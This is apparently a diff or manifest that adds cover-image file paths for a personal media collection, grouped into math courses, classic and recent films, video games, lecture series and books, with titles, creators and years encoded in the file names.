+photos/covers/courses/become-a-calculus-1-master.jpg +photos/covers/courses/become-a-calculus-2-master.jpg +photos/covers/courses/become-a-calculus-3-master.jpg +photos/covers/courses/become-a-differential-equations-master.jpg +photos/covers/courses/become-a-geometry-master.jpg +photos/covers/courses/become-a-linear-algebra-master.jpg +photos/covers/courses/become-a-probability-and-statistics-master.jpg +photos/covers/courses/become-a-probability-statistics-master.jpg +photos/covers/courses/become-a-trigonometry-and-precalculus-master-krista-king.jpg +photos/covers/courses/become-a-trigonometry-precalculus-master.jpg +photos/covers/courses/become-an-algebra-master.jpg +photos/covers/courses/calculus-1-p1-limits-and-continuity.jpg +photos/covers/courses/fundamentals-of-math.jpg +photos/covers/courses/linear-algebra-and-geometry-1-hania-uscka-wehlou-martin-wehlou.jpg +photos/covers/courses/master-the-fundamentals-of-math-krista-king.jpg +photos/covers/film/1927-sunrise-a-song-of-two-humans-fw-murnau.jpg +photos/covers/film/1927-topsy-and-eva-del-lord.jpg +photos/covers/film/1928-the-passion-of-joan-of-arc-carl-theodor-dreyer.jpg +photos/covers/film/1929-diary-of-a-lost-girl-gw-pabst.jpg +photos/covers/film/1929-man-with-a-movie-camera-dziga-vertov.jpg +photos/covers/film/1929-pandoras-box-gw-pabst.webp +photos/covers/film/1931-city-lights-charlie-chaplin.jpg +photos/covers/film/1931-m-fritz-lang.jpg +photos/covers/film/1934-latalante-jean-vigo.jpg +photos/covers/film/1939-la-regle-du-jeu-jean-renoir.jpg +photos/covers/film/1941-citizen-kane-orson-welles.jpg +photos/covers/film/1942-casablanca-michael-curtiz.jpg +photos/covers/film/1943-meshes-of-the-afternoon-maya-deren.webp +photos/covers/film/1946-the-killers-robert-siodmak.jpg +photos/covers/film/1947-black-narcissus-michael-powell-emeric-pressburger.jpg +photos/covers/film/1949-late-spring-yasujiro-ozu.jpg +photos/covers/film/1950-all-about-eve-joseph-l-mankiewicz.jpg +photos/covers/film/1952-singin-in-the-rain-gene-kelly-stanley-donen.jpg +photos/covers/film/1953-how-to-marry-a-millionaire-jean-negulesco.jpg +photos/covers/film/1953-tokyo-story-yasujiro-ozu.jpg +photos/covers/film/1954-seven-samurai-akira-kurosawa.jpg +photos/covers/film/1955-pather-panchali-satyajit-ray.jpg +photos/covers/film/1955-the-night-of-the-hunter-charles-laughton.webp +photos/covers/film/1956-the-searchers-john-ford.jpg +photos/covers/film/1957-funny-face-stanley-donen.jpg +photos/covers/film/1958-vertigo-alfred-hitchcock.jpg +photos/covers/film/1959-some-like-it-hot-billy-wilder.png +photos/covers/film/1960-eyes-without-a-face-georges-franju.jpg +photos/covers/film/1960-les-yeux-sans-visage-georges-franju.jpg +photos/covers/film/1960-psycho-alfred-hitchcock.jpg +photos/covers/film/1961-breakfast-at-tiffanys-blake-edwards.jpg +photos/covers/film/1962-cleo-from-5-to-7-agnes-varda.jpg +photos/covers/film/1963-8-1-2-federico-fellini.jpg +photos/covers/film/1966-au-hasard-balthazar-robert-bresson.jpg +photos/covers/film/1966-daisies-vera-chytilova.jpg +photos/covers/film/1966-persona-ingmar-bergman.jpg +photos/covers/film/1967-playtime-jacques-tati.webp +photos/covers/film/1968-2001-a-space-odyssey-stanley-kubrick.jpg +photos/covers/film/1970-wanda-barbara-loden.jpg +photos/covers/film/1972-the-godfather-francis-ford-coppola.jpg +photos/covers/film/1975-jeanne-dielman-23-quai-du-commerce-1080-bruxelles-chantal-akerman.png +photos/covers/film/1975-mirror-andrei-tarkovsky.jpg +photos/covers/film/1975-one-flew-over-the-cuckoos-nest-milos-forman.jpg +photos/covers/film/1975-picnic-at-hanging-rock-peter-weir.jpg +photos/covers/film/1976-taxi-driver-martin-scorsese.jpg +photos/covers/film/1977-house-nobuhiko-obayashi.png +photos/covers/film/1979-apocalypse-now-francis-ford-coppola.jpg +photos/covers/film/1980-the-shining-stanley-kubrick.jpg +photos/covers/film/1981-possession-andrzej-zulawski.jpg +photos/covers/film/1985-shoah-claude-lanzmann.jpg +photos/covers/film/1985-the-breakfast-club-john-hughes.webp +photos/covers/film/1986-blue-velvet-david-lynch.png +photos/covers/film/1989-do-the-right-thing-spike-lee.png +photos/covers/film/1989-heathers-michael-lehmann.jpg +photos/covers/film/1990-close-up-abbas-kiarostami.jpg +photos/covers/film/1990-house-party-reginald-hudlin.webp +photos/covers/film/1990-mermaids-richard-benjamin.jpg +photos/covers/film/1991-night-on-earth-jim-jarmusch.jpg +photos/covers/film/1994-pulp-fiction-quentin-tarantino.jpg +photos/covers/film/1997-lost-highway-david-lynch.png +photos/covers/film/1997-perfect-blue-satoshi-kon.jpeg +photos/covers/film/1997-the-fifth-element-luc-besson.jpg +photos/covers/film/1999-beau-travail-claire-denis.jpg +photos/covers/film/1999-girl-interrupted-james-mangold.png +photos/covers/film/2000-in-the-mood-for-love-wong-kar-wai.jpg +photos/covers/film/2000-love-and-basketball-gina-prince-bythewood.jpg +photos/covers/film/2001-a-space-odyssey-stanley-kubrick-1968.jpg +photos/covers/film/2001-mulholland-drive-david-lynch.jpg +photos/covers/film/2016-ballerina-eric-summer.jpg +photos/covers/film/2017-what-happened-to-monday-tommy-wirkola.jpg +photos/covers/film/2018-the-nutcracker-and-the-four-realms-lasse-hallstrom-joe-johnston.jpg +photos/covers/film/2019-portrait-of-a-lady-on-fire-celine-sciamma.jpg +photos/covers/film/2023-poor-things-yorgos-lanthimos.jpg +photos/covers/film/2024-the-watchers-ishana-night-shyamalan.jpg +photos/covers/film/2025-ballerina-len-wiseman.jpg +photos/covers/film/2025-sinners-ryan-coogler.jpg +photos/covers/film/2025-the-fantastic-four-first-steps-matt-shakman.jpg +photos/covers/film/2025-weapons-zach-cregger.jpg +photos/covers/film/812-federico-fellini-1963.jpg +photos/covers/film/a-bout-de-souffle-jean-luc-godard-1960.jpg +photos/covers/film/a-brighter-summer-day-edward-yang-1991.jpg +photos/covers/film/a-canterbury-tale-michael-powell-1944.jpg +photos/covers/film/a-city-of-sadness-hou-hsiao-hsien-1989.jpg +photos/covers/film/a-clockwork-orange-stanley-kubrick-1971.jpg +photos/covers/film/a-man-escaped-robert-bresson-1956.jpg +photos/covers/film/a-matter-of-life-and-death-michael-powell-1946.jpg +photos/covers/film/a-touch-of-zen-king-hu-1971.jpg +photos/covers/film/a-woman-under-the-influence-john-cassavetes-1974.jpg +photos/covers/film/aguirre-wrath-of-god-werner-herzog-1972.jpg +photos/covers/film/alien-ridley-scott-1979.jpg +photos/covers/film/all-about-eve-joseph-l-mankiewicz-1950.jpg +photos/covers/film/all-about-my-mother-pedro-almodovar-1999.jpg +photos/covers/film/all-that-heaven-allows-douglas-sirk-1955.jpg +photos/covers/film/amarcord-federico-fellini-1973.jpg +photos/covers/film/an-autumn-afternoon-yasujiro-ozu-1962.jpg +photos/covers/film/andrei-rublev-andrei-tarkovsky-1966.jpg +photos/covers/film/annie-hall-woody-allen-1977.jpg +photos/covers/film/apocalypse-now-francis-ford-coppola-1979.jpg +photos/covers/film/army-of-shadows-jean-pierre-melville-1969.jpg +photos/covers/film/as-i-was-moving-ahead-occasionally-i-saw-brief-glimpses-of-beauty-jonas-mekas-2000.jpg +photos/covers/film/au-hasard-balthazar-robert-bresson-1966.jpg +photos/covers/film/barry-lyndon-stanley-kubrick-1975.jpg +photos/covers/film/battleship-potemkin-sergei-eisenstein-1925.jpg +photos/covers/film/beau-travail-claire-denis-1999.jpg +photos/covers/film/bicycle-thieves-vittorio-de-sica-1948.jpg +photos/covers/film/black-girl-ousmane-sembene-1966.jpg +photos/covers/film/black-narcissus-michael-powell-1947.jpg +photos/covers/film/blade-runner-ridley-scott-1982.jpg +photos/covers/film/blue-derek-jarman-1993.jpg +photos/covers/film/blue-velvet-david-lynch-1986.jpg +photos/covers/film/born-in-flames-lizzie-borden-1983.jpg +photos/covers/film/brief-encounter-david-lean-1945.jpg +photos/covers/film/bringing-up-baby-howard-hawks-1938.jpg +photos/covers/film/by-the-bluest-of-seas-boris-barnet-1936.jpg +photos/covers/film/casablanca-michael-curtiz-1942.jpg +photos/covers/film/celine-and-julie-go-boating-jacques-rivette-1974.jpg +photos/covers/film/charulata-satyajit-ray-1964.jpg +photos/covers/film/chinatown-roman-polanski-1974.jpg +photos/covers/film/chungking-express-wong-kar-wai-1994.jpg +photos/covers/film/citizen-kane-orson-welles-1941.jpg +photos/covers/film/city-lights-charles-chaplin-1931.jpg +photos/covers/film/cleo-from-5-to-7-agnes-varda-1962.jpg +photos/covers/film/close-up-abbas-kiarostami-1990.jpg +photos/covers/film/come-and-see-elem-klimov-1985.jpg +photos/covers/film/crash-david-cronenberg-1996.jpg +photos/covers/film/cries-and-whispers-ingmar-bergman-1972.jpg +photos/covers/film/daisies-vera-chytilova-1966.jpg +photos/covers/film/daughters-of-the-dust-julie-dash-1991.jpg +photos/covers/film/days-of-heaven-terrence-malick-1978.jpg +photos/covers/film/distant-voices-still-lives-terence-davies-1988.jpg +photos/covers/film/do-the-right-thing-spike-lee-1989.jpg +photos/covers/film/dont-look-now-nicolas-roeg-1973.jpg +photos/covers/film/double-indemnity-billy-wilder-1944.jpg +photos/covers/film/dr-strangelove-stanley-kubrick-1964.jpg +photos/covers/film/duck-soup-leo-mccarey-1933.jpg +photos/covers/film/earth-alexander-dovzhenko-1930.jpg +photos/covers/film/europa-51-roberto-rossellini-1952.jpg +photos/covers/film/fanny-and-alexander-ingmar-bergman-1982.jpg +photos/covers/film/fear-eats-the-soul-rainer-werner-fassbinder-1974.jpg +photos/covers/film/flowers-of-shanghai-hou-hsiao-hsien-1998.jpg +photos/covers/film/gertrud-carl-theodor-dreyer-1964.jpg +photos/covers/film/get-out-jordan-peele-2017.jpg +photos/covers/film/goodbye-dragon-inn-tsai-ming-liang-2003.jpg +photos/covers/film/goodfellas-martin-scorsese-1990.jpg +photos/covers/film/grave-of-the-fireflies-isao-takahata-1988.jpg +photos/covers/film/greed-erich-von-stroheim-1924.jpg +photos/covers/film/happy-together-wong-kar-wai-1997.jpg +photos/covers/film/harlan-county-usa-barbara-kopple-1976.jpg +photos/covers/film/heat-michael-mann-1995.jpg +photos/covers/film/hiroshima-mon-amour-alain-resnais-1959.jpg +photos/covers/film/his-girl-friday-howard-hawks-1940.jpg +photos/covers/film/histoires-du-cinema-jean-luc-godard-1998.jpg +photos/covers/film/i-know-where-im-going-michael-powell-1945.jpg +photos/covers/film/ikiru-akira-kurosawa-1952.jpg +photos/covers/film/imitation-of-life-douglas-sirk-1959.jpg +photos/covers/film/in-a-lonely-place-nicholas-ray-1950.jpg +photos/covers/film/in-the-mood-for-love-wong-kar-wai-2000.jpg +photos/covers/film/in-vandas-room-pedro-costa-2000.jpg +photos/covers/film/india-song-marguerite-duras-1975.jpg +photos/covers/film/intolerance-dw-griffith-1916.jpg +photos/covers/film/its-a-wonderful-life-frank-capra-1946.jpg +photos/covers/film/jaws-steven-spielberg-1975.jpg +photos/covers/film/je-tu-il-elle-chantal-akerman-1974.jpg +photos/covers/film/jeanne-dielman-23-quai-du-commerce-1080-bruxelles-chantal-akerman-1975.jpg +photos/covers/film/johnny-guitar-nicholas-ray-1954.jpg +photos/covers/film/journey-to-italy-roberto-rossellini-1954.jpg +photos/covers/film/killer-of-sheep-charles-burnett-1978.jpg +photos/covers/film/la-cienaga-lucrecia-martel-2001.jpg +photos/covers/film/la-dolce-vita-federico-fellini-1960.jpg +photos/covers/film/la-grande-illusion-jean-renoir-1937.jpg +photos/covers/film/la-jetee-chris-marker-1962.jpg +photos/covers/film/la-maman-et-la-putain-jean-eustache-1973.jpg +photos/covers/film/la-regle-du-jeu-jean-renoir-1939.jpg +photos/covers/film/largent-robert-bresson-1983.jpg +photos/covers/film/last-year-at-marienbad-alain-resnais-1961.jpg +photos/covers/film/latalante-jean-vigo-1934.jpg +photos/covers/film/late-spring-yasujiro-ozu-1949.jpg +photos/covers/film/lavventura-michelangelo-antonioni-1960.jpg +photos/covers/film/lawrence-of-arabia-david-lean-1962.jpg +photos/covers/film/le-bonheur-agnes-varda-1965.jpg +photos/covers/film/le-mepris-jean-luc-godard-1963.jpg +photos/covers/film/leclisse-michelangelo-antonioni-1962.jpg +photos/covers/film/les-demoiselles-de-rochefort-jacques-demy-1967.jpg +photos/covers/film/les-enfants-du-paradis-marcel-carne-1945.jpg +photos/covers/film/letter-from-an-unknown-woman-max-ophuls-1948.jpg +photos/covers/film/limite-mario-peixoto-1931.jpg +photos/covers/film/los-olvidados-luis-bunuel-1950.jpg +photos/covers/film/love-streams-john-cassavetes-1984.jpg +photos/covers/film/m-fritz-lang-1931.jpg +photos/covers/film/mad-max-fury-road-george-miller-2015.jpg +photos/covers/film/madame-de-max-ophuls-1953.jpg +photos/covers/film/magnolia-paul-thomas-anderson-1999.jpg +photos/covers/film/man-with-a-movie-camera-dziga-vertov-1929.jpg +photos/covers/film/meghe-dhaka-tara-ritwik-ghatak-1960.jpg +photos/covers/film/melancholia-lars-von-trier-2011.jpg +photos/covers/film/memories-of-underdevelopment-tomas-gutierrez-alea-1968.jpg +photos/covers/film/meshes-of-the-afternoon-maya-deren-1943.jpg +photos/covers/film/metropolis-fritz-lang-1927.jpg +photos/covers/film/mirror-andrei-tarkovsky-1975.jpg +photos/covers/film/modern-times-charles-chaplin-1936.jpg +photos/covers/film/moonlight-barry-jenkins-2016.jpg +photos/covers/film/morvern-callar-lynne-ramsay-2002.jpg +photos/covers/film/mouchette-robert-bresson-1967.jpg +photos/covers/film/mulholland-dr-david-lynch-2001.jpg +photos/covers/film/my-darling-clementine-john-ford-1946.jpg +photos/covers/film/my-neighbour-totoro-hayao-miyazaki-1988.jpg +photos/covers/film/napoleon-abel-gance-1927.jpg +photos/covers/film/nashville-robert-altman-1975.jpg +photos/covers/film/news-from-home-chantal-akerman-1977.jpg +photos/covers/film/north-by-northwest-alfred-hitchcock-1959.jpg +photos/covers/film/nosferatu-fw-murnau-1922.jpg +photos/covers/film/nostalgia-for-the-light-patricio-guzman-2010.jpg +photos/covers/film/notorious-alfred-hitchcock-1946.jpg +photos/covers/film/once-upon-a-time-in-america-sergio-leone-1984.jpg +photos/covers/film/once-upon-a-time-in-the-west-sergio-leone-1968.jpg +photos/covers/film/one-way-or-another-sara-gomez-1977.jpg +photos/covers/film/only-angels-have-wings-howard-hawks-1939.jpg +photos/covers/film/ordet-carl-th-dreyer-1955.jpg +photos/covers/film/orlando-sally-potter-1992.jpg +photos/covers/film/out-1-jacques-rivette-1971.jpg +photos/covers/film/out-of-the-past-jacques-tourneur-1947.jpg +photos/covers/film/paisan-roberto-rossellini-1946.jpg +photos/covers/film/pandoras-box-gw-pabst-1929.jpg +photos/covers/film/parasite-bong-joon-ho-2019.jpg +photos/covers/film/paris-is-burning-jennie-livingston-1990.jpg +photos/covers/film/paris-texas-wim-wenders-1984.jpg +photos/covers/film/partie-de-campagne-jean-renoir-1936.jpg +photos/covers/film/pather-panchali-satyajit-ray-1955.jpg +photos/covers/film/persona-ingmar-bergman-1966.jpg +photos/covers/film/petite-maman-celine-sciamma-2021.jpg +photos/covers/film/pickpocket-robert-bresson-1959.jpg +photos/covers/film/pierrot-le-fou-jean-luc-godard-1965.jpg +photos/covers/film/pink-flamingos-john-waters-1972.jpg +photos/covers/film/playtime-jacques-tati-1967.jpg +photos/covers/film/portrait-of-a-lady-on-fire-celine-sciamma-2019.jpg +photos/covers/film/possession-andrzej-zuawski-1981.jpg +photos/covers/film/psycho-alfred-hitchcock-1960.jpg +photos/covers/film/pulp-fiction-quentin-tarantino-1994.jpg +photos/covers/film/pyaasa-guru-dutt-1957.jpg +photos/covers/film/raging-bull-martin-scorsese-1980.jpg +photos/covers/film/raiders-of-the-lost-ark-steven-spielberg-1981.jpg +photos/covers/film/ran-akira-kurosawa-1985.jpg +photos/covers/film/rashomon-akira-kurosawa-1950.jpg +photos/covers/film/rear-window-alfred-hitchcock-1954.jpg +photos/covers/film/red-desert-michelangelo-antonioni-1964.jpg +photos/covers/film/rio-bravo-howard-hawks-1959.jpg +photos/covers/film/sambizanga-sarah-maldoror-1972.jpg +photos/covers/film/sans-soleil-chris-marker-1983.jpg +photos/covers/film/sansho-the-bailiff-kenji-mizoguchi-1954.jpg +photos/covers/film/satantango-bela-tarr-1994.jpg +photos/covers/film/seven-samurai-akira-kurosawa-1954.jpg +photos/covers/film/sherlock-jr-buster-keaton-1924.jpg +photos/covers/film/shoah-claude-lanzmann-1985.jpg +photos/covers/film/singin-in-the-rain-gene-kelly-1952.jpg +photos/covers/film/soleil-o-med-hondo-1970.jpg +photos/covers/film/some-like-it-hot-billy-wilder-1959.jpg +photos/covers/film/spirited-away-hayao-miyazaki-2001.jpg +photos/covers/film/stalker-andrei-tarkovsky-1979.jpg +photos/covers/film/star-wars-george-lucas-1977.jpg +photos/covers/film/sullivans-travels-preston-sturges-1941.jpg +photos/covers/film/sunrise-a-song-of-two-humans-fw-murnau-1927.jpg +photos/covers/film/sunset-blvd-billy-wilder-1950.jpg +photos/covers/film/suspiria-dario-argento-1977.jpg +photos/covers/film/symbiopsychotaxiplasm-take-one-william-greaves-1968.jpg +photos/covers/film/syndromes-and-a-century-apichatpong-weerasethakul-2006.jpg +photos/covers/film/taste-of-cherry-abbas-kiarostami-1997.jpg +photos/covers/film/taxi-driver-martin-scorsese-1976.jpg +photos/covers/film/the-400-blows-francois-truffaut-1959.jpg +photos/covers/film/the-apartment-billy-wilder-1960.jpg +photos/covers/film/the-ascent-larisa-shepitko-1977.jpg +photos/covers/film/the-battle-of-algiers-gillo-pontecorvo-1966.jpg +photos/covers/film/the-birds-alfred-hitchcock-1963.jpg +photos/covers/film/the-color-of-pomegranates-sergei-parajanov-1969.jpg +photos/covers/film/the-conformist-bernardo-bertolucci-1970.jpg +photos/covers/film/the-crowd-king-vidor-1928.jpg +photos/covers/film/the-deer-hunter-michael-cimino-1978.jpg +photos/covers/film/the-exterminating-angel-luis-bunuel-1962.jpg +photos/covers/film/the-general-buster-keaton-1926.jpg +photos/covers/film/the-gleaners-and-i-agnes-varda-2000.jpg +photos/covers/film/the-godfather-francis-ford-coppola-1972.jpg +photos/covers/film/the-godfather-part-ii-francis-ford-coppola-1974.jpg +photos/covers/film/the-good-the-bad-and-the-ugly-sergio-leone-1966.jpg +photos/covers/film/the-gospel-according-to-st-matthew-pier-paolo-pasolini-1964.jpg +photos/covers/film/the-green-ray-eric-rohmer-1986.jpg +photos/covers/film/the-headless-woman-lucrecia-martel-2008.jpg +photos/covers/film/the-hour-of-the-furnaces-fernando-solanas-1968.jpg +photos/covers/film/the-house-is-black-forough-farrokhzad-1963.jpg +photos/covers/film/the-intruder-claire-denis-2004.jpg +photos/covers/film/the-last-laugh-fw-murnau-1924.jpg +photos/covers/film/the-leopard-luchino-visconti-1963.jpg +photos/covers/film/the-life-and-death-of-colonel-blimp-michael-powell-1943.jpg +photos/covers/film/the-magnificent-ambersons-orson-welles-1942.jpg +photos/covers/film/the-man-who-shot-liberty-valance-john-ford-1962.jpg +photos/covers/film/the-matrix-lana-wachowski-1999.jpg +photos/covers/film/the-night-of-the-hunter-charles-laughton-1955.jpg +photos/covers/film/the-passion-of-joan-of-arc-carl-theodor-dreyer-1928.jpg +photos/covers/film/the-piano-jane-campion-1993.jpg +photos/covers/film/the-quince-tree-sun-victor-erice-1992.jpg +photos/covers/film/the-red-shoes-michael-powell-1948.jpg +photos/covers/film/the-river-jean-renoir-1951.jpg +photos/covers/film/the-searchers-john-ford-1956.jpg +photos/covers/film/the-seventh-seal-ingmar-bergman-1957.jpg +photos/covers/film/the-shining-stanley-kubrick-1980.jpg +photos/covers/film/the-spirit-of-the-beehive-victor-erice-1973.jpg +photos/covers/film/the-texas-chain-saw-massacre-tobe-hooper-1974.jpg +photos/covers/film/the-thing-john-carpenter-1982.jpg +photos/covers/film/the-third-man-carol-reed-1949.jpg +photos/covers/film/the-tree-of-life-terrence-malick-2011.jpg +photos/covers/film/the-umbrellas-of-cherbourg-jacques-demy-1964.jpg +photos/covers/film/the-watermelon-woman-cheryl-dunye-1996.jpg +photos/covers/film/the-wild-bunch-sam-peckinpah-1969.jpg +photos/covers/film/the-wizard-of-oz-victor-fleming-1939.jpg +photos/covers/film/there-will-be-blood-paul-thomas-anderson-2007.jpg +photos/covers/film/to-be-or-not-to-be-ernst-lubitsch-1942.jpg +photos/covers/film/tokyo-story-yasujiro-ozu-1953.jpg +photos/covers/film/touch-of-evil-orson-welles-1958.jpg +photos/covers/film/touki-bouki-djibril-diop-mambety-1973.jpg +photos/covers/film/tropical-malady-apichatpong-weerasethakul-2004.jpg +photos/covers/film/trouble-in-paradise-ernst-lubitsch-1932.jpg +photos/covers/film/twenty-years-later-eduardo-coutinho-1984.jpg +photos/covers/film/twin-peaks-fire-walk-with-me-david-lynch-1992.jpg +photos/covers/film/twin-peaks-the-return-david-lynch-2017.jpg +photos/covers/film/ugetsu-monogatari-kenji-mizoguchi-1953.jpg +photos/covers/film/un-chien-andalou-luis-bunuel-1929.jpg +photos/covers/film/uncle-boonmee-who-can-recall-his-past-lives-apichatpong-weerasethakul-2010.jpg +photos/covers/film/under-the-skin-jonathan-glazer-2013.jpg +photos/covers/film/vagabond-agnes-varda-1985.jpg +photos/covers/film/vampyr-carl-theodor-dreyer-1932.jpg +photos/covers/film/vertigo-alfred-hitchcock-1958.jpg +photos/covers/film/videodrome-david-cronenberg-1983.jpg +photos/covers/film/vivre-sa-vie-jean-luc-godard-1962.jpg +photos/covers/film/wanda-barbara-loden-1970.jpg +photos/covers/film/wavelength-michael-snow-1967.jpg +photos/covers/film/werckmeister-harmonies-bela-tarr-2000.jpg +photos/covers/film/west-indies-med-hondo-1979.jpg +photos/covers/film/west-of-the-tracks-wang-bing-2003.jpg +photos/covers/film/where-is-the-friends-house-abbas-kiarostami-1987.jpg +photos/covers/film/wild-strawberries-ingmar-bergman-1957.jpg +photos/covers/film/wings-of-desire-wim-wenders-1987.jpg +photos/covers/film/yi-yi-edward-yang-2000.jpg +photos/covers/film/zama-lucrecia-martel-2017.jpg +photos/covers/games/aimlabs.jpg +photos/covers/games/among-us.jpg +photos/covers/games/beat-star.png +photos/covers/games/beatstar.jpg +photos/covers/games/clash-of-clans.jpg +photos/covers/games/clash-royale.jpg +photos/covers/games/cyberpunk2077.webp +photos/covers/games/fortnite.jpg +photos/covers/games/geometry-dash.jpg +photos/covers/games/kovaaks.jpg +photos/covers/games/kovaaks.png +photos/covers/games/league-of-legends.jpg +photos/covers/games/league-of-legends.webp +photos/covers/games/lethal-company.jpg +photos/covers/games/lost-ark.jpg +photos/covers/games/lost-ark.webp +photos/covers/games/phantasy-star-online-2.webp +photos/covers/games/terraria.jpg +photos/covers/games/vrchat.jpg +photos/covers/games/white-tiles-4.png +photos/covers/lectures/abstract-mathematics-bridge.png +photos/covers/lectures/analysis-1.jpg +photos/covers/lectures/analysis-2.jpg +photos/covers/lectures/calculus-II.png +photos/covers/lectures/differential-equations.jpg +photos/covers/lectures/euclidean-geometry.png +photos/covers/lectures/linear-algebra.jpg +photos/covers/lectures/main-topology.jpg +photos/covers/lectures/mathmodels.jpg +photos/covers/lectures/mit-calc1.png +photos/covers/lectures/modern-algebra.png +photos/covers/lectures/modern-algebra2.png +photos/covers/lectures/multivariable-calculus.png +photos/covers/lectures/numbertheory.jpg +photos/covers/lectures/precalc.png +photos/covers/lectures/single-variable-calculus.png +photos/covers/literature/0300bc-euclids-elements-euclid.jpg +photos/covers/literature/1580-the-complete-essays-michel-de-montaigne.jpg +photos/covers/literature/1812-grimms-fairy-tales-brothers-grimm.jpeg +photos/covers/literature/1813-pride-and-prejudice-jane-austen.jpg +photos/covers/literature/1813-pride-and-prejudice-oxford-world-classics.jpg +photos/covers/literature/1813-pride-and-prejudice-penguin-classics.jpg +photos/covers/literature/1815-emma-jane-austen.webp +photos/covers/literature/1866-crime-and-punishment-fyodor-dostoevsky.jpg +photos/covers/literature/1877-anna-karenina-leo-tolstoy.jpg +photos/covers/literature/1882-a-synopsis-of-results-in-pure-and-applied-mathematics-george-carr.jpg +photos/covers/literature/1892-kiselev-geometry-book-1-andrei-kiselev.jpg +photos/covers/literature/1892-kiselev-geometry-book-2-andrei-kiselev.jpg +photos/covers/literature/1915-the-metamorphosis-franz-kafka.jpg +photos/covers/literature/1925-the-game-of-life-and-how-to-play-it-florence-scovel-shinn.jpg +photos/covers/literature/1925-the-trial-franz-kafka.jpg +photos/covers/literature/1929-a-room-of-ones-own-virginia-woolf.jpg +photos/covers/literature/1933-the-miseducation-of-the-negro-carter-g-woodson.jpg +photos/covers/literature/1938-an-introduction-to-the-theory-of-numbers-gh-hardy.jpg +photos/covers/literature/1943-plane-trigonometry-with-tables.png +photos/covers/literature/1943-table-of-integrals-series-and-products-gradshteyn-ryzhik.jpg +photos/covers/literature/1953-principles-of-mathematical-analysis-walter-rudin-baby-rudin.jpg +photos/covers/literature/1953-principles-of-mathematical-analysis-walter-rudin.jpg +photos/covers/literature/1961-calculus-vol-1-tom-apostol.jpg +photos/covers/literature/1962-calculus-vol-2-tom-apostol.jpg +photos/covers/literature/1965-algebra-serge-lang.jpg +photos/covers/literature/1966-topics-in-algebra-in-herstein.jpg +photos/covers/literature/1967-calculus-michael-spivak.jpg +photos/covers/literature/1971-basic-mathematics-serge-lang.jpg +photos/covers/literature/1978-elementary-number-theory-david-burton-alt.webp +photos/covers/literature/1978-elementary-number-theory-david-burton.jpg +photos/covers/literature/1980-elementary-analysis-kenneth-ross.jpg +photos/covers/literature/1980-elementary-analysis-the-theory-of-calculus-kenneth-ross.jpg +photos/covers/literature/1985-blood-meridian-cormac-mccarthy.jpg +photos/covers/literature/1989-myths-from-mesopotamia-oxford-world-classics.jpg +photos/covers/literature/1989-the-7-habits-of-highly-effective-people-stephen-covey.jpg +photos/covers/literature/1992-the-oxford-book-of-american-short-stories.jpg +photos/covers/literature/1993-girl-interrupted-susanna-kaysen.jpg +photos/covers/literature/1995-linear-algebra-done-right-sheldon-axler-alt.jpg +photos/covers/literature/1995-linear-algebra-done-right-sheldon-axler.jpg +photos/covers/literature/1996-infinite-jest-david-foster-wallace.jpg +photos/covers/literature/1996-the-millionaire-next-door-thomas-j-stanley.jpg +photos/covers/literature/1998-among-the-hidden-margaret-peterson-haddix.jpg +photos/covers/literature/1999-complex-variables-for-scientists-and-engineers-john-paliouras.jpg +photos/covers/literature/2000-the-first-philosophers-oxford-classics.jpg +photos/covers/literature/2000-the-millionaire-mind-thomas-j-stanley.jpg +photos/covers/literature/2001-all-the-math-you-missed-thomas-garrity.jpg +photos/covers/literature/2001-among-the-impostors-margaret-peterson-haddix.jpg +photos/covers/literature/2001-understanding-analysis-stephen-abbott-alt.jpg +photos/covers/literature/2001-understanding-analysis-stephen-abbott.jpg +photos/covers/literature/2002-among-the-betrayed-margaret-peterson-haddix.jpg +photos/covers/literature/2003-among-the-barons-margaret-peterson-haddix.jpg +photos/covers/literature/2004-among-the-brave-margaret-peterson-haddix.jpg +photos/covers/literature/2005-among-the-enemy-margaret-peterson-haddix.jpg +photos/covers/literature/2005-never-let-me-go-kazuo-ishiguro.jpg +photos/covers/literature/2006-among-the-free-margaret-peterson-haddix.jpg +photos/covers/literature/2007-diary-of-a-wimpy-kid-jeff-kinney.jpg +photos/covers/literature/2007-precalculus-with-limits-ron-larson.jpg +photos/covers/literature/2008-amulet-the-stonekeeper-kazu-kibuishi.jpg +photos/covers/literature/2008-diary-of-a-wimpy-kid-rodrick-rules-jeff-kinney.png +photos/covers/literature/2008-the-princeton-companion-to-mathematics-tim-gowers.jpg +photos/covers/literature/2009-a-mathematicians-lament-paul-lockhart.jpg +photos/covers/literature/2009-amulet-the-stonekeepers-curse-kazu-kibuishi.jpg +photos/covers/literature/2009-diary-of-a-wimpy-kid-dog-days-jeff-kinney.jpg +photos/covers/literature/2009-diary-of-a-wimpy-kid-the-last-straw-jeff-kinney.jpg +photos/covers/literature/2009-the-maze-runner-james-dashner.jpg +photos/covers/literature/2010-amulet-the-cloud-searchers-kazu-kibuishi.jpg +photos/covers/literature/2010-diary-of-a-wimpy-kid-the-ugly-truth-jeff-kinney.jpg +photos/covers/literature/2010-the-scorch-trials-james-dashner.jpg +photos/covers/literature/2011-amulet-the-last-council-kazu-kibuishi.jpg +photos/covers/literature/2011-diary-of-a-wimpy-kid-cabin-fever-jeff-kinney.jpg +photos/covers/literature/2011-divergent-veronica-roth.jpg +photos/covers/literature/2011-shark-wars-ej-altbacker.jpg +photos/covers/literature/2011-shark-wars-into-the-abyss-ej-altbacker.jpg +photos/covers/literature/2011-the-death-cure-james-dashner.jpg +photos/covers/literature/2011-the-unwanteds-lisa-mcmann.jpg +photos/covers/literature/2012-amulet-prince-of-the-elves-kazu-kibuishi.jpg +photos/covers/literature/2012-diary-of-a-wimpy-kid-the-third-wheel-jeff-kinney.jpg +photos/covers/literature/2012-insurgent-veronica-roth.jpg +photos/covers/literature/2012-shark-wars-kingdom-of-the-deep-ej-altbacker.jpg +photos/covers/literature/2012-shark-wars-the-battle-of-riptide-ej-altbacker.jpg +photos/covers/literature/2012-the-kill-order-james-dashner.jpg +photos/covers/literature/2012-the-unwanteds-island-of-silence-lisa-mcmann.jpg +photos/covers/literature/2013-allegiant-veronica-roth.jpg +photos/covers/literature/2013-diary-of-a-wimpy-kid-hard-luck-jeff-kinney.jpg +photos/covers/literature/2013-shark-wars-enemy-of-oceans-ej-altbacker.jpg +photos/covers/literature/2013-shark-wars-the-last-emprex-ej-altbacker.jpg +photos/covers/literature/2013-the-unwanteds-island-of-fire-lisa-mcmann.jpg +photos/covers/literature/2014-amulet-escape-from-lucien-kazu-kibuishi.jpg +photos/covers/literature/2014-diary-of-a-wimpy-kid-the-long-haul-jeff-kinney.jpg 